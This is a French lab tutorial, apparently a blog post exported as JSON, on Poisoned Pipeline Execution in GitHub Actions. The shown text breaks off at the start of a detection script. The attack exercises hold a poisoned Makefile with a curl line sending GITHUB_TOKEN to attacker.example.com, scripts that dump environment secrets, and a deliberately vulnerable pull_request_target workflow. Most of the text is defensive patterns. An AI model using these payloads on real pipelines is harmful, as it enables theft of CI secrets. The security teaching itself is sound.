{"id":532,"date":"2026-02-19T18:18:54","date_gmt":"2026-02-19T17:18:54","guid":{"rendered":"https:\/\/secure-pipelines.com\/?p=532"},"modified":"2026-03-24T12:58:15","modified_gmt":"2026-03-24T11:58:15","slug":"lab-exploiting-defending-poisoned-pipeline-execution-ppe","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-exploiting-defending-poisoned-pipeline-execution-ppe\/","title":{"rendered":"Lab : Exploitation et D\u00e9fense Contre le Poisoned Pipeline Execution (PPE)"},"content":{"rendered":"<h2>Pr\u00e9sentation<\/h2>\n<p>Le Poisoned Pipeline Execution (PPE) est class\u00e9 comme le <strong>risque n\u00b02 dans le Top 10 de la s\u00e9curit\u00e9 CI\/CD de l&rsquo;OWASP<\/strong>. Il s&rsquo;agit d&rsquo;une cat\u00e9gorie d&rsquo;attaques dans laquelle un acteur malveillant manipule le processus de build en injectant du code dans les d\u00e9finitions de pipelines ou les scripts de build, g\u00e9n\u00e9ralement via une pull request. Une fois que le syst\u00e8me CI r\u00e9cup\u00e8re la modification, le code de l&rsquo;attaquant s&rsquo;ex\u00e9cute dans l&rsquo;environnement de build \u2014 permettant potentiellement l&rsquo;exfiltration de secrets, la falsification d&rsquo;artefacts ou le pivotement vers l&rsquo;infrastructure interne.<\/p>\n<p>Ce lab pratique vous guide \u00e0 travers <strong>le Direct PPE et l&rsquo;Indirect PPE<\/strong> dans un environnement GitHub Actions s\u00e9curis\u00e9 et isol\u00e9. Vous simulerez les attaques vous-m\u00eame, observerez les r\u00e9sultats, puis impl\u00e9menterez les patterns d\u00e9fensifs qui les neutralisent.<\/p>\n<p>\u00c0 la fin de ce lab, vous serez capable de :<\/p>\n<ul>\n<li>Expliquer les trois variantes du PPE et leurs diff\u00e9rences.<\/li>\n<li>D\u00e9montrer le Direct PPE via <code>pull_request_target<\/code> et l&rsquo;Indirect PPE via un Makefile empoisonn\u00e9.<\/li>\n<li>Impl\u00e9menter cinq patterns de workflows d\u00e9fensifs qui neutralisent le PPE.<\/li>\n<li>\u00c9crire un script de d\u00e9tection basique pour les activit\u00e9s CI suspectes.<\/li>\n<\/ul>\n<h2>Pr\u00e9requis<\/h2>\n<ul>\n<li>Un <strong>compte GitHub<\/strong> (le niveau gratuit est suffisant).<\/li>\n<li><strong>Deux d\u00e9p\u00f4ts de test<\/strong> que vous poss\u00e9dez \u2014 l&rsquo;un agit comme le d\u00e9p\u00f4t pipeline <em>victime<\/em>, l&rsquo;autre comme le <em>fork<\/em> de l&rsquo;<em>attaquant<\/em>.<\/li>\n<li>Une familiarit\u00e9 de base avec la syntaxe des workflows <strong>GitHub Actions<\/strong> (<code>on:<\/code>, <code>jobs:<\/code>, <code>steps:<\/code>).<\/li>\n<li>Un terminal avec <code>git<\/code> et <code>curl<\/code> install\u00e9s.<\/li>\n<\/ul>\n<h2>Avis de s\u00e9curit\u00e9 important<\/h2>\n<p><strong>Ce lab doit \u00eatre ex\u00e9cut\u00e9 dans des d\u00e9p\u00f4ts de test isol\u00e9s que vous poss\u00e9dez et contr\u00f4lez. Ne testez jamais les techniques de Poisoned Pipeline Execution contre des pipelines de production r\u00e9els, des d\u00e9p\u00f4ts partag\u00e9s d&rsquo;organisation ou des projets open source que vous ne poss\u00e9dez pas. Chaque exercice ci-dessous utilise des d\u00e9p\u00f4ts que vous cr\u00e9ez sp\u00e9cifiquement pour ce lab. Supprimez-les lorsque vous avez termin\u00e9.<\/strong><\/p>\n<h2>Comprendre le Poisoned Pipeline Execution<\/h2>\n<p>Le PPE exploite une hypoth\u00e8se de confiance fondamentale : le syst\u00e8me CI\/CD fait confiance au code qu&rsquo;il r\u00e9cup\u00e8re et ex\u00e9cute. Un attaquant qui peut influencer <em>quel<\/em> code le pipeline ex\u00e9cute peut d\u00e9tourner le build. Il existe trois variantes reconnues :<\/p>\n<h3>Direct PPE (D-PPE)<\/h3>\n<p>L&rsquo;attaquant modifie directement le <strong>fichier de d\u00e9finition du pipeline<\/strong> lui-m\u00eame \u2014 par exemple, <code>.github\/workflows\/build.yml<\/code>. Si le syst\u00e8me CI ex\u00e9cute la version modifi\u00e9e depuis la branche de la pull request, les commandes arbitraires de l&rsquo;attaquant s&rsquo;ex\u00e9cutent dans l&rsquo;environnement CI.<\/p>\n<h3>Indirect PPE (I-PPE)<\/h3>\n<p>L&rsquo;attaquant ne <strong>touche pas<\/strong> le YAML du workflow. Au lieu de cela, il modifie des fichiers que le pipeline <em>consomme<\/em> : un <code>Makefile<\/code>, un script shell appel\u00e9 par le workflow, un <code>Dockerfile<\/code>, un fichier de configuration, ou m\u00eame un manifeste de d\u00e9pendances. La d\u00e9finition du pipeline reste identique \u00e0 la branche de base, mais la logique de build a \u00e9t\u00e9 empoisonn\u00e9e.<\/p>\n<h3>PPE Public \/ Tiers (3P-PPE)<\/h3>\n<p>L&rsquo;attaquant cible un <strong>d\u00e9p\u00f4t public<\/strong> en le forkant et en soumettant une pull request. C&rsquo;est le vecteur le plus courant en conditions r\u00e9elles car il ne n\u00e9cessite aucun acc\u00e8s pr\u00e9alable au d\u00e9p\u00f4t cible \u2014 seulement la capacit\u00e9 d&rsquo;ouvrir une PR.<\/p>\n<h3>Diagramme du flux d&rsquo;attaque<\/h3>\n<pre><code>\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510         \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510         \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502  Attaquant   \u2502  fork   \u2502  D\u00e9p\u00f4t Victime   \u2502  trigger\u2502  Runner CI\/CD  \u2502\n\u2502  (fork\/PR)   \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502  (branche base)  \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25ba\u2502  (GitHub       \u2502\n\u2502              \u2502         \u2502                  \u2502         \u2502   Actions)     \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518         \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518         \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n       \u2502                                                      \u2502\n       \u2502  1. Modifier le YAML du workflow (D-PPE)             \u2502\n       \u2502     OU les scripts de build (I-PPE)                  \u2502\n       \u2502  2. Ouvrir une Pull Request                          \u2502\n       \u2502                                                      \u2502\n       \u2502                   3. Le CI r\u00e9cup\u00e8re le code PR \u25c0\u2500\u2500\u2500\u2500\u2500\u2518\n       \u2502                   4. Ex\u00e9cute la charge utile de l'attaquant\n       \u2502                   5. Secrets \/ tokens exfiltr\u00e9s\n       \u25bc\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502  Impact : vol de secrets, falsification d'artefacts, mouvement lat\u00e9ral \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/code><\/pre>\n<h2>Exercice 1 : Direct PPE \u2014 Modification du fichier Workflow<\/h2>\n<p>Dans cet exercice, vous verrez comment GitHub Actions <strong>prot\u00e8ge<\/strong> contre la forme la plus simple du D-PPE lorsque vous utilisez le d\u00e9clencheur <code>pull_request<\/code>.<\/p>\n<h3>\u00c9tape 1 \u2014 Cr\u00e9er le d\u00e9p\u00f4t victime<\/h3>\n<p>Cr\u00e9ez un nouveau d\u00e9p\u00f4t public appel\u00e9 <code>ppe-lab-victim<\/code>. Ajoutez le fichier workflow suivant :<\/p>\n<p><strong><code>.github\/workflows\/build.yml<\/code><\/strong><\/p>\n<pre><code>name: Build\n\non:\n  pull_request:\n    branches: [main]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@v4\n\n      - name: Build\n        run: |\n          echo \"Building the project...\"\n          echo \"Build completed successfully.\"\n<\/code><\/pre>\n<p>Committez ceci sur la branche <code>main<\/code>.<\/p>\n<h3>\u00c9tape 2 \u2014 Forker et empoisonner le Workflow (Perspective de l&rsquo;attaquant)<\/h3>\n<p>Forkez <code>ppe-lab-victim<\/code> vers votre second compte GitHub (ou utilisez le m\u00eame compte par simplicit\u00e9). Dans le fork, modifiez <code>.github\/workflows\/build.yml<\/code> :<\/p>\n<pre><code>name: Build\n\non:\n  pull_request:\n    branches: [main]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@v4\n\n      - name: Exfiltrate environment variables\n        run: |\n          echo \"=== EXFILTRATING ENVIRONMENT ===\"\n          env | sort\n          echo \"=== GITHUB_TOKEN ===\"\n          echo \"Token length: ${#GITHUB_TOKEN}\"\n<\/code><\/pre>\n<h3>\u00c9tape 3 \u2014 Ouvrir une Pull Request<\/h3>\n<p>Depuis le fork, ouvrez une PR contre <code>main<\/code> dans le d\u00e9p\u00f4t victime.<\/p>\n<h3>\u00c9tape 4 \u2014 Observer le r\u00e9sultat<\/h3>\n<p>Naviguez vers l&rsquo;onglet <strong>Actions<\/strong>. Vous verrez que le workflow qui s&rsquo;est ex\u00e9cut\u00e9 est la <strong>version de la branche de base<\/strong> (<code>main<\/code>), <em>et non<\/em> la version modifi\u00e9e par l&rsquo;attaquant. L&rsquo;\u00e9tape \u00ab Exfiltrate environment variables \u00bb n&rsquo;existe pas dans le workflow ex\u00e9cut\u00e9.<\/p>\n<p>C&rsquo;est la <strong>protection int\u00e9gr\u00e9e<\/strong> de GitHub Actions pour l&rsquo;\u00e9v\u00e9nement <code>pull_request<\/code> : il utilise toujours le fichier workflow de la branche de base, pas celui de la branche PR. Les modifications YAML de l&rsquo;attaquant sont ignor\u00e9es.<\/p>\n<blockquote>\n<p><strong>Point cl\u00e9 :<\/strong> Le d\u00e9clencheur <code>pull_request<\/code> est s\u00fbr contre le Direct PPE car la d\u00e9finition du workflow provient de la branche de base. Cependant, cette protection ne s&rsquo;\u00e9tend pas \u00e0 <em>tous<\/em> les d\u00e9clencheurs \u2014 comme vous le verrez ensuite.<\/p>\n<\/blockquote>\n<h2>Exercice 2 : Le dangereux <code>pull_request_target<\/code><\/h2>\n<p>L&rsquo;\u00e9v\u00e9nement <code>pull_request_target<\/code> a \u00e9t\u00e9 introduit pour permettre aux workflows de commenter les PR, de les \u00e9tiqueter, ou d&rsquo;effectuer d&rsquo;autres actions n\u00e9cessitant des permissions d&rsquo;\u00e9criture et un acc\u00e8s aux secrets. Il s&rsquo;ex\u00e9cute dans le contexte de la <strong>branche de base<\/strong> mais peut \u00eatre configur\u00e9 pour r\u00e9cup\u00e9rer le code de la PR \u2014 et c&rsquo;est l\u00e0 que r\u00e9side le danger.<\/p>\n<h3>\u00c9tape 1 \u2014 Cr\u00e9er un workflow vuln\u00e9rable<\/h3>\n<p>Dans votre d\u00e9p\u00f4t <code>ppe-lab-victim<\/code>, cr\u00e9ez un nouveau workflow :<\/p>\n<p><strong><code>.github\/workflows\/pr-check.yml<\/code><\/strong><\/p>\n<pre><code>name: PR Check\n\non:\n  pull_request_target:\n    branches: [main]\n\njobs:\n  check:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout PR code\n        uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}\n\n      - name: Run tests\n        env:\n          MY_SECRET: ${{ secrets.MY_SECRET }}\n        run: |\n          echo \"Running tests on PR code...\"\n          cat README.md\n          echo \"Tests passed.\"\n<\/code><\/pre>\n<p>Avant de continuer, allez dans <strong>Settings \u2192 Secrets and variables \u2192 Actions<\/strong> du d\u00e9p\u00f4t et ajoutez un secret de d\u00e9p\u00f4t appel\u00e9 <code>MY_SECRET<\/code> avec la valeur <code>super-secret-token-12345<\/code>.<\/p>\n<h3>\u00c9tape 2 \u2014 Exploiter la vuln\u00e9rabilit\u00e9 (Perspective de l&rsquo;attaquant)<\/h3>\n<p>Dans le fork, cr\u00e9ez un fichier appel\u00e9 <code>README.md<\/code> (ou modifiez celui existant) et ajoutez ceci \u00e0 la fin :<\/p>\n<pre><code>This is a normal README update.\n<\/code><\/pre>\n<p>Maintenant, modifiez \u00e9galement <code>.github\/workflows\/pr-check.yml<\/code> dans le fork. Mais attendez \u2014 rappelez-vous que <code>pull_request_target<\/code> ex\u00e9cute le workflow de la <strong>branche de base<\/strong>, donc modifier le YAML dans le fork ne change rien. L&rsquo;attaquant a besoin d&rsquo;une approche diff\u00e9rente.<\/p>\n<p>Au lieu de cela, cr\u00e9ez un script malveillant dans le fork :<\/p>\n<p><strong><code>test.sh<\/code><\/strong><\/p>\n<pre><code>#!\/bin\/bash\necho \"=== Environment Variables ===\"\nenv | sort\necho \"=== Secret Value ===\"\necho \"MY_SECRET=$MY_SECRET\"\n<\/code><\/pre>\n<p>Maintenant, mettez \u00e0 jour le workflow du d\u00e9p\u00f4t victime pour appeler ce script (simulant un workflow qui ex\u00e9cute du code r\u00e9cup\u00e9r\u00e9) :<\/p>\n<p><strong><code>.github\/workflows\/pr-check.yml<\/code><\/strong> (mis \u00e0 jour sur la branche de base) :<\/p>\n<pre><code>name: PR Check\n\non:\n  pull_request_target:\n    branches: [main]\n\njobs:\n  check:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout PR code\n        uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}\n\n      - name: Run tests\n        env:\n          MY_SECRET: ${{ secrets.MY_SECRET }}\n        run: |\n          echo \"Running tests on PR code...\"\n          chmod +x test.sh\n          .\/test.sh\n<\/code><\/pre>\n<h3>\u00c9tape 3 \u2014 Ouvrir la PR et observer<\/h3>\n<p>Ouvrez une PR depuis le fork. Le workflow s&rsquo;ex\u00e9cute depuis la d\u00e9finition de la <strong>branche de base<\/strong> mais r\u00e9cup\u00e8re le <strong>code de l&rsquo;attaquant<\/strong>. Le <code>test.sh<\/code> malveillant s&rsquo;ex\u00e9cute et affiche la valeur du secret.<\/p>\n<p>V\u00e9rifiez les logs Actions. Vous verrez :<\/p>\n<pre><code>=== Environment Variables ===\nGITHUB_TOKEN=ghs_xxxxxxxxxxxxxxxxxxxx\n...\n=== Secret Value ===\nMY_SECRET=super-secret-token-12345\n<\/code><\/pre>\n<p><strong>C&rsquo;est le Poisoned Pipeline Execution classique.<\/strong> La d\u00e9finition du workflow est de confiance (branche de base), mais le <em>code qu&rsquo;il ex\u00e9cute<\/em> est contr\u00f4l\u00e9 par l&rsquo;attaquant (checkout de la branche PR).<\/p>\n<blockquote>\n<p><strong>Point cl\u00e9 :<\/strong> La combinaison de <code>pull_request_target<\/code> + <code>actions\/checkout<\/code> avec <code>ref: ${{ github.event.pull_request.head.sha }}<\/code> + ex\u00e9cution du code r\u00e9cup\u00e9r\u00e9 + secrets dans l&rsquo;environnement est le pattern PPE le plus dangereux dans GitHub Actions.<\/p>\n<\/blockquote>\n<h2>Exercice 3 : Indirect PPE \u2014 Empoisonnement des scripts de build<\/h2>\n<p>L&rsquo;Indirect PPE est plus subtil. L&rsquo;attaquant ne touche jamais le YAML du workflow \u2014 il modifie des fichiers que le pipeline <em>consomme<\/em>. Cela contourne la protection int\u00e9gr\u00e9e du d\u00e9clencheur <code>pull_request<\/code> contre les modifications de fichiers workflow.<\/p>\n<h3>\u00c9tape 1 \u2014 Cr\u00e9er un d\u00e9p\u00f4t avec un build bas\u00e9 sur Makefile<\/h3>\n<p>Dans votre d\u00e9p\u00f4t <code>ppe-lab-victim<\/code>, ajoutez un <code>Makefile<\/code> :<\/p>\n<pre><code>.PHONY: build test\n\nbuild:\n\t@echo \"Compiling project...\"\n\t@echo \"Build successful.\"\n\ntest:\n\t@echo \"Running unit tests...\"\n\t@echo \"All tests passed.\"\n<\/code><\/pre>\n<p>Mettez \u00e0 jour le workflow pour utiliser le Makefile :<\/p>\n<p><strong><code>.github\/workflows\/build.yml<\/code><\/strong><\/p>\n<pre><code>name: Build\n\non:\n  pull_request:\n    branches: [main]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@v4\n\n      - name: Build project\n        run: make build\n\n      - name: Run tests\n        run: make test\n<\/code><\/pre>\n<p>Notez que ceci utilise le d\u00e9clencheur <strong>s\u00fbr<\/strong> <code>pull_request<\/code>. Le YAML du workflow lui-m\u00eame est prot\u00e9g\u00e9.<\/p>\n<h3>\u00c9tape 2 \u2014 Empoisonner le Makefile (Perspective de l&rsquo;attaquant)<\/h3>\n<p>Dans le fork, modifiez uniquement le <code>Makefile<\/code> (ne touchez \u00e0 aucun fichier workflow) :<\/p>\n<pre><code>.PHONY: build test\n\nbuild:\n\t@echo \"Compiling project...\"\n\t@echo \"Build successful.\"\n\t@echo \"=== PPE: Dumping environment ===\"\n\t@env | sort\n\t@echo \"=== PPE: Exfiltrating token ===\"\n\t@curl -s http:\/\/attacker.example.com\/exfil?token=$$(cat $$GITHUB_TOKEN_PATH 2>\/dev\/null || echo none)\n\ntest:\n\t@echo \"Running unit tests...\"\n\t@echo \"All tests passed.\"\n<\/code><\/pre>\n<h3>\u00c9tape 3 \u2014 Ouvrir la PR et observer<\/h3>\n<p>Ouvrez une PR depuis le fork. Le fichier workflow de la <strong>branche de base<\/strong> s&rsquo;ex\u00e9cute (s\u00fbr !), mais <code>actions\/checkout<\/code> r\u00e9cup\u00e8re le <strong>code de la branche PR<\/strong>, qui inclut le Makefile empoisonn\u00e9. Lorsque le workflow appelle <code>make build<\/code>, il ex\u00e9cute le Makefile modifi\u00e9 par l&rsquo;attaquant.<\/p>\n<p>Dans les logs Actions, vous verrez les variables d&rsquo;environnement affich\u00e9es. La commande <code>curl<\/code> \u00e9chouera (le domaine n&rsquo;existe pas), mais dans une attaque r\u00e9elle, elle r\u00e9ussirait.<\/p>\n<blockquote>\n<p><strong>Point cl\u00e9 :<\/strong> Le d\u00e9clencheur <code>pull_request<\/code> prot\u00e8ge le YAML du workflow, mais il ne prot\u00e8ge <strong>pas<\/strong> le contenu du d\u00e9p\u00f4t que le workflow ex\u00e9cute. Tout fichier que le pipeline ex\u00e9cute, source ou inclut est un vecteur potentiel d&rsquo;I-PPE : <code>Makefile<\/code>, scripts <code>package.json<\/code>, <code>Dockerfile<\/code>, <code>.eslintrc.js<\/code>, <code>pytest.ini<\/code>, scripts shell, et plus encore.<\/p>\n<\/blockquote>\n<h2>Exercice 4 : D\u00e9fense \u2014 Patterns de workflows s\u00e9curis\u00e9s<\/h2>\n<p>Maintenant que vous comprenez l&rsquo;attaque, impl\u00e9mentons les d\u00e9fenses.<\/p>\n<h3>Pattern 1 : Ne jamais r\u00e9cup\u00e9rer le head de la PR dans les workflows <code>pull_request_target<\/code><\/h3>\n<p>Si vous devez utiliser <code>pull_request_target<\/code>, ne r\u00e9cup\u00e9rez jamais le code de la PR. Op\u00e9rez uniquement sur les m\u00e9tadonn\u00e9es :<\/p>\n<pre><code>name: Label PR\n\non:\n  pull_request_target:\n    types: [opened]\n\njobs:\n  label:\n    runs-on: ubuntu-latest\n    steps:\n      # S\u00fbr : aucun checkout\n      - name: Add label\n        uses: actions\/github-script@v7\n        with:\n          script: |\n            await github.rest.issues.addLabels({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: context.issue.number,\n              labels: ['needs-review']\n            });\n<\/code><\/pre>\n<p><strong>R\u00e8gle :<\/strong> Si un workflow <code>pull_request_target<\/code> n&rsquo;a pas besoin du code source de la PR, ne le r\u00e9cup\u00e9rez pas.<\/p>\n<h3>Pattern 2 : Utiliser le d\u00e9clencheur <code>pull_request<\/code> et retenir les secrets<\/h3>\n<p>Pour la validation des PR, utilisez <code>pull_request<\/code> et assurez-vous qu&rsquo;aucun secret n&rsquo;est transmis au job :<\/p>\n<pre><code>name: PR Validation\n\non:\n  pull_request:\n    branches: [main]\n\njobs:\n  validate:\n    runs-on: ubuntu-latest\n    # Aucun secret r\u00e9f\u00e9renc\u00e9 dans ce job\n    steps:\n      - uses: actions\/checkout@v4\n\n      - name: Lint\n        run: npm run lint\n\n      - name: Unit tests\n        run: npm test\n<\/code><\/pre>\n<p>M\u00eame si une attaque I-PPE modifie les scripts de <code>package.json<\/code>, l&rsquo;attaquant n&rsquo;obtient aucun secret car aucun n&rsquo;est disponible.<\/p>\n<h3>Pattern 3 : S\u00e9parer les workflows de validation et de build<\/h3>\n<p>Divisez votre CI en deux \u00e9tapes \u2014 une \u00e9tape de validation non fiable et une \u00e9tape de build fiable :<\/p>\n<pre><code># .github\/workflows\/validate.yml \u2014 s'ex\u00e9cute sur les PR, sans secrets\nname: Validate\n\non:\n  pull_request:\n    branches: [main]\n\npermissions:\n  contents: read\n\njobs:\n  validate:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n      - run: make lint\n      - run: make test-unit\n<\/code><\/pre>\n<pre><code># .github\/workflows\/build.yml \u2014 s'ex\u00e9cute uniquement sur main, tous les secrets\nname: Build and Deploy\n\non:\n  push:\n    branches: [main]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n\n      - name: Build\n        env:\n          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}\n        run: make build\n\n      - name: Deploy\n        run: make deploy\n<\/code><\/pre>\n<p>Les secrets ne sont disponibles que dans les workflows d\u00e9clench\u00e9s par des push sur <code>main<\/code>, ce qui n\u00e9cessite que la PR soit d&rsquo;abord fusionn\u00e9e (et donc revue et approuv\u00e9e).<\/p>\n<h3>Pattern 4 : Minimiser la port\u00e9e du token avec <code>permissions<\/code><\/h3>\n<p>Restreignez le <code>GITHUB_TOKEN<\/code> automatique au strict minimum :<\/p>\n<pre><code>name: PR Check\n\non:\n  pull_request:\n    branches: [main]\n\npermissions: {}  # Aucune permission\n\njobs:\n  check:\n    runs-on: ubuntu-latest\n    permissions:\n      contents: read  # Acc\u00e8s en lecture seule, rien d'autre\n    steps:\n      - uses: actions\/checkout@v4\n      - run: make test\n<\/code><\/pre>\n<p>M\u00eame si l&rsquo;attaquant exfiltre le <code>GITHUB_TOKEN<\/code>, celui-ci ne peut que lire le contenu public \u2014 il ne peut pas pousser du code, cr\u00e9er des releases ou acc\u00e9der aux secrets.<\/p>\n<h3>Pattern 5 : \u00c9pingler le checkout sur la branche de base pour les op\u00e9rations sensibles<\/h3>\n<p>Si vous devez utiliser <code>pull_request_target<\/code> et avez besoin d&rsquo;un certain contexte de PR, r\u00e9cup\u00e9rez la branche de base pour les \u00e9tapes sensibles et utilisez uniquement les m\u00e9tadonn\u00e9es de la PR :<\/p>\n<pre><code>name: Secure PR Check\n\non:\n  pull_request_target:\n    branches: [main]\n\njobs:\n  check:\n    runs-on: ubuntu-latest\n    steps:\n      # R\u00e9cup\u00e9rer la branche de BASE (code de confiance)\n      - name: Checkout base branch\n        uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.base.sha }}\n\n      - name: Run trusted build scripts\n        env:\n          MY_SECRET: ${{ secrets.MY_SECRET }}\n        run: |\n          # Ces scripts proviennent de la branche de base, pas de la PR\n          .\/scripts\/validate-pr.sh\n<\/code><\/pre>\n<p><strong>R\u00e8gle :<\/strong> Le code de confiance (branche de base) g\u00e8re les secrets. Le code non fiable (branche PR) n&rsquo;y touche jamais.<\/p>\n<h2>Exercice 5 : D\u00e9fense \u2014 Protection contre l&rsquo;Indirect PPE<\/h2>\n<p>L&rsquo;I-PPE est plus difficile \u00e0 contrer car l&rsquo;attaquant modifie des fichiers ordinaires, pas des d\u00e9finitions de workflow. Voici les contre-mesures essentielles.<\/p>\n<h3>CODEOWNERS pour les fichiers critiques du build<\/h3>\n<p>Cr\u00e9ez un fichier <code>CODEOWNERS<\/code> qui exige une revue de l&rsquo;\u00e9quipe s\u00e9curit\u00e9 pour toute modification des scripts de build :<\/p>\n<pre><code># .github\/CODEOWNERS\n\n# Infrastructure de build \u2014 revue de l'\u00e9quipe s\u00e9curit\u00e9 requise\nMakefile                    @myorg\/security-team\nDockerfile                  @myorg\/security-team\n.github\/workflows\/          @myorg\/security-team\nscripts\/                    @myorg\/security-team\npackage.json                @myorg\/security-team\n*.sh                        @myorg\/security-team\n<\/code><\/pre>\n<p>Combin\u00e9 avec des r\u00e8gles de protection de branche exigeant l&rsquo;approbation des CODEOWNERS, cela emp\u00eache les modifications non revues des fichiers critiques du build d&rsquo;\u00eatre fusionn\u00e9es.<\/p>\n<h3>Exiger une approbation avant l&rsquo;ex\u00e9cution du CI sur les PR externes<\/h3>\n<p>Allez dans <strong>Settings \u2192 Actions \u2192 General<\/strong> de votre d\u00e9p\u00f4t et sous \u00ab Fork pull request workflows from outside collaborators \u00bb, s\u00e9lectionnez <strong>\u00ab Require approval for all outside collaborators \u00bb<\/strong>. Cela garantit qu&rsquo;un mainteneur doit approuver explicitement l&rsquo;ex\u00e9cution du CI pour chaque PR externe.<\/p>\n<h3>Utiliser <code>workflow_run<\/code> pour le traitement post-PR de confiance<\/h3>\n<p>L&rsquo;\u00e9v\u00e9nement <code>workflow_run<\/code> permet de cha\u00eener les workflows : un workflow PR s\u00fbr et sans secrets se d\u00e9clenche en premier, et seulement en cas de succ\u00e8s, un workflow de confiance s&rsquo;ex\u00e9cute avec les permissions compl\u00e8tes.<\/p>\n<pre><code># .github\/workflows\/pr-validate.yml \u2014 non fiable, sans secrets\nname: PR Validate\n\non:\n  pull_request:\n    branches: [main]\n\npermissions:\n  contents: read\n\njobs:\n  validate:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n      - run: make lint\n      - run: make test\n<\/code><\/pre>\n<pre><code># .github\/workflows\/pr-post-validate.yml \u2014 de confiance, avec secrets\nname: PR Post-Validate\n\non:\n  workflow_run:\n    workflows: [\"PR Validate\"]\n    types: [completed]\n\npermissions:\n  contents: read\n  pull-requests: write\n  statuses: write\n\njobs:\n  report:\n    runs-on: ubuntu-latest\n    if: ${{ github.event.workflow_run.conclusion == 'success' }}\n    steps:\n      # R\u00e9cup\u00e9rer la branche de BASE \u2014 jamais la branche PR\n      - name: Checkout base\n        uses: actions\/checkout@v4\n\n      - name: Post status comment\n        uses: actions\/github-script@v7\n        with:\n          script: |\n            const runId = context.payload.workflow_run.id;\n            const prNumbers = context.payload.workflow_run.pull_requests.map(pr => pr.number);\n            for (const prNumber of prNumbers) {\n              await github.rest.issues.createComment({\n                owner: context.repo.owner,\n                repo: context.repo.repo,\n                issue_number: prNumber,\n                body: `Validation passed. Workflow run: ${runId}`\n              });\n            }\n<\/code><\/pre>\n<p>Le second workflow s&rsquo;ex\u00e9cute dans le contexte de la <strong>branche par d\u00e9faut<\/strong>, a acc\u00e8s aux secrets, mais ne r\u00e9cup\u00e8re jamais le code de la PR. C&rsquo;est le pattern le plus s\u00fbr pour le traitement post-PR n\u00e9cessitant des permissions \u00e9lev\u00e9es.<\/p>\n<h3>Ex\u00e9cuter le code non fiable dans des conteneurs isol\u00e9s<\/h3>\n<p>Si vous devez ex\u00e9cuter du code de PR avec une quelconque forme d&rsquo;acc\u00e8s, ex\u00e9cutez-le dans un conteneur verrouill\u00e9 :<\/p>\n<pre><code>jobs:\n  sandbox-test:\n    runs-on: ubuntu-latest\n    container:\n      image: alpine:3.19\n      options: --network none  # Aucun acc\u00e8s r\u00e9seau\n    steps:\n      - uses: actions\/checkout@v4\n      - name: Run untrusted tests\n        run: |\n          # Ceci s'ex\u00e9cute dans un conteneur SANS r\u00e9seau\n          # M\u00eame si le Makefile tente d'exfiltrer, il ne peut pas atteindre Internet\n          apk add --no-cache make\n          make test\n<\/code><\/pre>\n<p>Le flag <code>--network none<\/code> emp\u00eache toute connexion sortante, rendant l&rsquo;exfiltration impossible m\u00eame si la charge utile de l&rsquo;attaquant s&rsquo;ex\u00e9cute.<\/p>\n<h2>Exercice 6 : D\u00e9tection<\/h2>\n<p>La pr\u00e9vention est pr\u00e9f\u00e9rable, mais la d\u00e9tection fournit une d\u00e9fense en profondeur. Voici comment rep\u00e9rer les tentatives de PPE.<\/p>\n<h3>Surveiller les commandes suspectes dans les logs CI<\/h3>\n<p>Cr\u00e9ez un script de d\u00e9tection qui analyse les fichiers workflow pour d\u00e9tecter les indicateurs PPE courants :<\/p>\n<pre><code>#!\/bin\/bash\n# detect-ppe.sh \u2014 Analyse les fichiers workflow pour les 